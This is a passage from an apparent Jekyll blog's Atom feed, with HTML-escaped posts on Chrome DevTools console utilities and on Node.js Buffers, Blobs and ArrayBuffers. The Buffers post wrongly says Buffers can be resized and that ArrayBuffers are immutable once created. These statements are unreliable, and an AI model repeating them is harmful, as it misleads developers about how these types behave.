&lt;div class=&quot;language-javascript highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;kd&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;blob&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;Blob&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;([&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;Hello, World!&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;],&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;type&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;text/plain&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;});&lt;/span&gt;
&lt;span class=&quot;nx&quot;&gt;console&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;log&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;blob&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3 id=&quot;arraybuffers&quot;&gt;ArrayBuffers&lt;/h3&gt;
&lt;p&gt;ArrayBuffers are another concept used in web browsers, similar to buffers in Node.js, and represent fixed-size binary data buffers. Unlike buffers and blobs, ArrayBuffers are low-level and do not have built-in methods for data manipulation. You need to use TypedArrays, such as Uint8Array, Int16Array, etc., to interact with the data stored in an ArrayBuffer. ArrayBuffers are also immutable once created.&lt;/p&gt;

&lt;div class=&quot;language-javascript highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;kd&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;buffer&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;ArrayBuffer&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;10&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;kd&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;uint8Array&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;Uint8Array&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;buffer&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;nx&quot;&gt;console&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;log&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;buffer&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;nx&quot;&gt;console&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;log&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;uint8Array&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

</content>
 </entry>
 
 <entry>
   <title>Chrome Console API</title>
   <link href="https://github.com/filipelinhares/jekyll-marlene/2019/Chrome-Console-API.html"/>
   <updated>2019-01-28T00:00:00+00:00</updated>
   <id>https://github.com/filipelinhares/jekyll-marlene/2019/Chrome-Console-API</id>
   <content type="html">&lt;h3 id=&quot;logs&quot;&gt;Logs&lt;/h3&gt;

&lt;h4 id=&quot;consoleassert&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;console.assert&lt;/code&gt;&lt;/h4&gt;
&lt;div class=&quot;language-js highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;kd&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;x&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;5&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;kd&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;y&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;3&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;kd&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;reason&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;x is expected to be less than y&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;

&lt;span class=&quot;nx&quot;&gt;console&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;assert&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;x&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;y&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;y&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;reason&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;});&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h4 id=&quot;consolecountlabel&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;console.count([label])&lt;/code&gt;&lt;/h4&gt;
&lt;div class=&quot;language-js highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nx&quot;&gt;console&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;count&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;
&lt;span class=&quot;nx&quot;&gt;console&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;count&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;coffee&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;nx&quot;&gt;console&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;count&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;
&lt;span class=&quot;nx&quot;&gt;console&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;count&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;

&lt;span class=&quot;nx&quot;&gt;console&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;countReset&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;
&lt;span class=&quot;nx&quot;&gt;console&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;countReset&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;coffee&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h4 id=&quot;consoletimelabel&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;console.time([label])&lt;/code&gt;&lt;/h4&gt;
&lt;div class=&quot;language-js highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nx&quot;&gt;console&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;time&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;for &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kd&quot;&gt;var&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;i&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;i&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;100000&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;++&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;kd&quot;&gt;let&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;square&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;i&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;**&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

&lt;span class=&quot;nx&quot;&gt;console&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;timeEnd&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h4 id=&quot;consoletrace&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;console.trace()&lt;/code&gt;&lt;/h4&gt;
&lt;div class=&quot;language-js highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;kd&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;first&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;second&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;};&lt;/span&gt;
&lt;span class=&quot;kd&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;second&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;third&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;};&lt;/span&gt;
&lt;span class=&quot;kd&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;third&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;fourth&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;};&lt;/span&gt;
&lt;span class=&quot;kd&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;fourth&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;console&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;trace&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;};&lt;/span&gt;

&lt;span class=&quot;nf&quot;&gt;first&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3 id=&quot;utilities&quot;&gt;Utilities&lt;/h3&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;_$&lt;/code&gt;
Get the last evaluated expression.&lt;/p&gt;

&lt;h4 id=&quot;--x&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;$(), $$(), $x()&lt;/code&gt;&lt;/h4&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;document.querySelector()&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;document.querySelectorAll()&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;document.evaluate()&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h4 id=&quot;inspect&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;inspect()&lt;/code&gt;&lt;/h4&gt;
&lt;p&gt;Open the selected element in &lt;em&gt;Elements&lt;/em&gt; panel.&lt;/p&gt;

&lt;h4 id=&quot;geteventlisteners&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;getEventListeners()&lt;/code&gt;&lt;/h4&gt;
&lt;p&gt;Returns an object with an array of attached event listeners.&lt;/p&gt;

&lt;h4 id=&quot;keys-and-values&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;keys()&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;values()&lt;/code&gt;&lt;/h4&gt;
&lt;p&gt;Same as Object functions with the same name.&lt;/p&gt;

&lt;h4 id=&quot;monitorfunction-and-unmonitorfunction&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;monitor(function)&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;unmonitor(function)&lt;/code&gt;&lt;/h4&gt;
&lt;p&gt;When the function specified is called, a message is logged to the console.&lt;/p&gt;

&lt;div class=&quot;language-js highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;kd&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;sum&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;y&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;  &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;x&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;y&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;}&lt;/span&gt;
&lt;span class=&quot;nf&quot;&gt;monitor&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;sum&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h4 id=&quot;monitoreventsobject--events&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;monitorEvents(object [, events])&lt;/code&gt;&lt;/h4&gt;

&lt;div class=&quot;language-js highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nf&quot;&gt;monitorEvents&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;window&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;resize&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;

&lt;span class=&quot;nf&quot;&gt;monitorEvents&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;window&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;resize&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;scroll&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;])&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;Event type&lt;/th&gt;
      &lt;th&gt;Corresponding mapped events&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td&gt;mouse&lt;/td&gt;
      &lt;td&gt;“mousedown”, “mouseup”, “click”, “dblclick”, “mousemove”, “mouseover”, “mouseout”, “mousewheel”&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;key&lt;/td&gt;
      &lt;td&gt;“keydown”, “keyup”, “keypress”, “textInput”&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;touch&lt;/td&gt;
      &lt;td&gt;“touchstart”, “touchmove”, “touchend”, “touchcancel”&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;control&lt;/td&gt;
      &lt;td&gt;“resize”, “scroll”, “zoom”, “focus”, “blur”, “select”, “change”, “submit”, “reset”&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;

&lt;div class=&quot;language-js highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nf&quot;&gt;monitorEvents&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;$0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;key&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h4 id=&quot;profilename-and-profileendname&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;profile([name])&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;profileEnd([name])&lt;/code&gt;&lt;/h4&gt;

&lt;p&gt;Starts a JavaScript CPU profiling session with an optional name.&lt;/p&gt;

</content>
 </entry>
 
 <entry>
   <title>Buffers Blobs and Byte Array</title>
   <link href="https://github.com/filipelinhares/jekyll-marlene/2019/Buffers-Blobs-and-Byte-Array.html"/>
   <updated>2019-01-28T00:00:00+00:00</updated>
   <id>https://github.com/filipelinhares/jekyll-marlene/2019/Buffers-Blobs-and-Byte-Array</id>
   <content type="html">&lt;h3 id=&quot;buffers&quot;&gt;Buffers&lt;/h3&gt;
&lt;p&gt;In Node.js, a buffer is a temporary storage for binary data, allowing manipulation and processing of binary data directly. Buffers are instances of the Buffer class and are primarily used for handling raw binary data, such as reading from streams, file operations, network communications, and cryptographic operations. Buffers are mutable and can be resized.&lt;/p&gt;

&lt;div class=&quot;language-javascript highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;kd&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;buffer&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;Buffer&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;from&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;Hello, World!&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;utf-8&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;nx&quot;&gt;console&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;log&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;buffer&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3 id=&quot;blobs&quot;&gt;Blobs&lt;/h3&gt;
&lt;p&gt;Blobs (Binary Large Objects) are used in web browsers and represent raw data that can be of any type, typically used for handling binary data in the context of web APIs like the File API, XMLHttpRequest, and Fetch API. Blobs are immutable, which means once created, their content cannot be modified.&lt;/p&gt;

&lt;div class=&quot;language-javascript highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;kd&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;blob&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;Blob&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;([&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;Hello, World!&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;],&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;type&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;text/plain&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;});&lt;/span&gt;
&lt;span class=&quot;nx&quot;&gt;console&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;log&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;blob&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3 id=&quot;arraybuffers&quot;&gt;ArrayBuffers&lt;/h3&gt;
&lt;p&gt;ArrayBuffers are another concept used in web browsers, similar to buffers in Node.js, and represent fixed-size binary data buffers. Unlike buffers and blobs, ArrayBuffers are low-level and do not have built-in methods for data manipulation. You need to use TypedArrays, such as Uint8Array, Int16Array, etc., to interact with the data stored in an ArrayBuffer. ArrayBuffers are also immutable once created.&lt;/p&gt;

&lt;div class=&quot;language-javascript highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;kd&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;buffer&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;ArrayBuffer&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;10&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;kd&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;uint8Array&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;Uint8Array&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;buffer&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;nx&quot;&gt;console&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;log&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;buffer&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;nx&quot;&gt;console&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;log&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;uint8Array&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

</content>
 </entry>
 
 <entry>
   <title>Bit-shift operator</title>
   <link href="https://github.com/filipelinhares/jekyll-marlene/2019/Bit-shift-operator.html"/>
   <updated>2019-01-28T00:00:00+00:00</updated>
   <id>https://github.com/filipelinhares/jekyll-marlene/2019/Bit-shift-operator</id>
   <content type="html">&lt;p&gt;Easier to understand with examples:&lt;/p&gt;

